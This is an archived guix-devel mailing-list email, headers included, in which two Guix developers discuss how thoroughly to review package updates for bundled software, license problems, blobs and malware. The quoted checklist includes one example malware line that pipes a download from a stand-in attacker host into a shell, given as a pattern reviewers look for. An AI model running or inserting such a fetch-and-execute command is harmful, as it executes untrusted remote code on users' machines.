From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp11.migadu.com ([2001:41d0:2:bcc0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms0.migadu.com with LMTPS id wG3NDoM3TGIDRwEAgWs5BA (envelope-from ) for ; Tue, 05 Apr 2022 14:35:15 +0200 Received: from aspmx1.migadu.com ([2001:41d0:2:bcc0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp11.migadu.com with LMTPS id EAb8C4M3TGL51gAA9RJhRA (envelope-from ) for ; Tue, 05 Apr 2022 14:35:15 +0200 Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id C6C0696A7 for ; Tue, 5 Apr 2022 14:35:14 +0200 (CEST) Received: from localhost ([::1]:34406 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1nbiOv-0000ku-U6 for larch@yhetil.org; Tue, 05 Apr 2022 08:35:13 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]:35196) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1nbiOP-0000kD-Ep for guix-devel@gnu.org; Tue, 05 Apr 2022 08:34:41 -0400 Received: from fencepost.gnu.org ([2001:470:142:3::e]:59018) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1nbiON-0003iW-Tf; Tue, 05 Apr 2022 08:34:39 -0400 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:In-Reply-To:Date:References:Subject:To: From; bh=cOni1XjWKC0m7Yj1KWMhzVnFMAREVp4dnoCQ/DJHdgY=; b=m4BnVLPkecXsG2q1uw1n rziMRw+fjU8l9B9tOh8/HhXEp0Hm81ZNi9gmm3av7m0PS5UZanK++6wFX/6idfUwmkAKO7wox/ide lTHHR89DIZRsW6wmafwnMIgQIlBG8I5bo6rHVM4M6FlZ0ksloFNcsxEgtXm35pxl+ttyjCXMBYvDI eI2IB4/ukMyUZ9psESNL363Vi/Om1/aBTFrpSBb4bBlYfFW+Z0DQLafwqjUYua4C58wT0KmgArYST lZmHIB8qQ7qmzdTYa4eEWQ2ZiHZuncR1SnSgNImi8MzdtDZ9lZt01ylzH0Hm+gs2YZQ7OmKU3CZMU 6tOHPFE0s25tjw==; Received: from [193.50.110.173] (port=58772 helo=ribbon) by fencepost.gnu.org with esmtpsa (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1nbiOM-0005BZ-Fb; Tue, 05 Apr 2022 08:34:39 -0400 From: =?utf-8?Q?Ludovic_Court=C3=A8s?= To: Maxime Devos Subject: Re: Reviewing the diff when updating a package? References: <0035734f12073a2f50d41641f66dacc35e2e6a2c.camel@telenet.be> <87y20ogqjl.fsf@kolabnow.com> <524c815e2d10f4012eb5f0192755b76b2297af6b.camel@telenet.be> X-URL: http://www.fdn.fr/~lcourtes/ X-Revolutionary-Date: 16 Germinal an 230 de la =?utf-8?Q?R=C3=A9volution?= X-PGP-Key-ID: 0x090B11993D9AEBB5 X-PGP-Key: http://www.fdn.fr/~lcourtes/ludovic.asc X-PGP-Fingerprint: 3CE4 6455 8A84 FDC6 9DB4 0CFB 090B 1199 3D9A EBB5 X-OS: x86_64-pc-linux-gnu Date: Tue, 05 Apr 2022 14:34:35 +0200 In-Reply-To: <524c815e2d10f4012eb5f0192755b76b2297af6b.camel@telenet.be> (Maxime Devos's message of "Sat, 02 Apr 2022 10:27:45 +0200") Message-ID: <87wng3ogis.fsf@gnu.org> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/27.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-BeenThere: guix-devel@gnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: "Development of GNU Guix and the GNU System distribution." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Cc: guix-devel@gnu.org Errors-To: guix-devel-bounces+larch=yhetil.org@gnu.org Sender: "Guix-devel" X-Migadu-Flow: FLOW_IN X-Migadu-To: larch@yhetil.org X-Migadu-Country: US ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1649162114; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references:list-id:list-help: list-unsubscribe:list-subscribe:list-post:dkim-signature; bh=cOni1XjWKC0m7Yj1KWMhzVnFMAREVp4dnoCQ/DJHdgY=; b=pDRzc+6vMbr0j4YnjfDBdHNIcC02J6YaQs1/PwJJSrMeUVez3hFXU49QNREq0AG+IDVUmt 4b4wAlxSaRneevbNFmkBJlfQiVfWNUuU6S+rHQAzUGrpUsZbUzzH7rP35JW7PTSWWZwA++ khE2SvHfmBmsvYlLLm8sn9CEQF2QVeu4JEMbVh6AGe1wrGbWKvQg3Htyti0fOZxDIG2hgL G0WQwsA0V8N8Mo2GHjBj1s8K57/fo2cz6/MXWU3FJmulsqY9Uq95Stzop1jD7KzT1hOztU /P0JsYkyCnjxvj9P2SfjmRj5w1vmyBCX7Ir0+FbmTV3eGHk2R17GOma9RLq16Q== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1649162114; a=rsa-sha256; cv=none; b=BmsKl9Ga+hpa4C8yEHQs7fK+KY11qRlwaYPSQDdSrYDweFr+KrdLxX49pmulpSNU1gYjtx Vassl8l+a6sN8TYzFGyzFBH6I93yt8sm8D6XKyRLbrkGMq/erRw1/F3f+jVX2Q+7lG42mD Gjp0XCx2OlsjrWZFR5ru1E9ZvloYXmnTqY9L4e6vAmbyqTDKO1IvXk77wY+xKhUuRQT04R +Lz6bhjkHBsxhbWJenHIS3JPSNr96hoBuSbfSM7HXAKQuk0DriBCZRP1ybyMCCVxAaU6Ah JavjsDbK3V+qpU3OWouhHx9/gHkcyLvX5aQDXipge7BHroRXF94MabbTV0/tnA== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=pass header.d=gnu.org header.s=fencepost-gnu-org header.b=m4BnVLPk; dmarc=pass (policy=none) header.from=gnu.org; spf=pass (aspmx1.migadu.com: domain of "guix-devel-bounces+larch=yhetil.org@gnu.org" designates 209.51.188.17 as permitted sender) smtp.mailfrom="guix-devel-bounces+larch=yhetil.org@gnu.org" X-Migadu-Spam-Score: -8.07 Authentication-Results: aspmx1.migadu.com; dkim=pass header.d=gnu.org header.s=fencepost-gnu-org header.b=m4BnVLPk; dmarc=pass (policy=none) header.from=gnu.org; spf=pass (aspmx1.migadu.com: domain of "guix-devel-bounces+larch=yhetil.org@gnu.org" designates 209.51.188.17 as permitted sender) smtp.mailfrom="guix-devel-bounces+larch=yhetil.org@gnu.org" X-Migadu-Queue-Id: C6C0696A7 X-Spam-Score: -8.07 X-Migadu-Scanner: scn0.migadu.com X-TUID: TjtyKMvGvCiE Hi, Maxime Devos skribis: > While we cannot feasibly protect users against more =E2=80=98hidden=E2=80= =99 malware > (e.g. some non-obvious remote code execution in C that then will be > exploited by the upstream authors), the more obvious =E2=80=98here's a bl= ob you > don't need to look at=E2=80=99 seems detectable. I think =E2=80=98no mal= ware (AFAWCT)=E2=80=99 > is an important property of a distribution. Agreed. > I look for the following things: > > 1. additional bundled software > 2. code with a different license than mentioned in the 'license' > field (especially if it's propietary) > 3. =E2=80=98obvious=E2=80=99 malware like: curl https://evil.bar | sh -= in a > 4. blobs (possibly hiding malware) > 5. things that look like bugs (e.g. not checking the return value of > 'malloc' for NULL, not escaping things written to HTML documents > ...) > > I think I can reliably detect (1,3,4). I sometimes detect (5) but not > detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll > through the code and don't do any detailed analysis I usually check #1, #2, and #4 for new packages; for an update, I pay much less attention to those. The other checks you describe are laudable, and it=E2=80=99s great if someo= ne can do that. But I think we should not hold every review to this high standard, nor suggest that we=E2=80=99re uniformly following that standard= =E2=80=94it=E2=80=99s just not feasible. We need to find a balance between =E2=80=9Cthoroughly-reviewed=E2=80=9D and= =E2=80=9Clively=E2=80=9D, which are usually antithetical. I=E2=80=99d rather have more reviewers doi= ng a couple of the items above than no reviewers at all (and lately we=E2=80=99ve been desperately short on reviewers!). Thanks, Ludo=E2=80=99.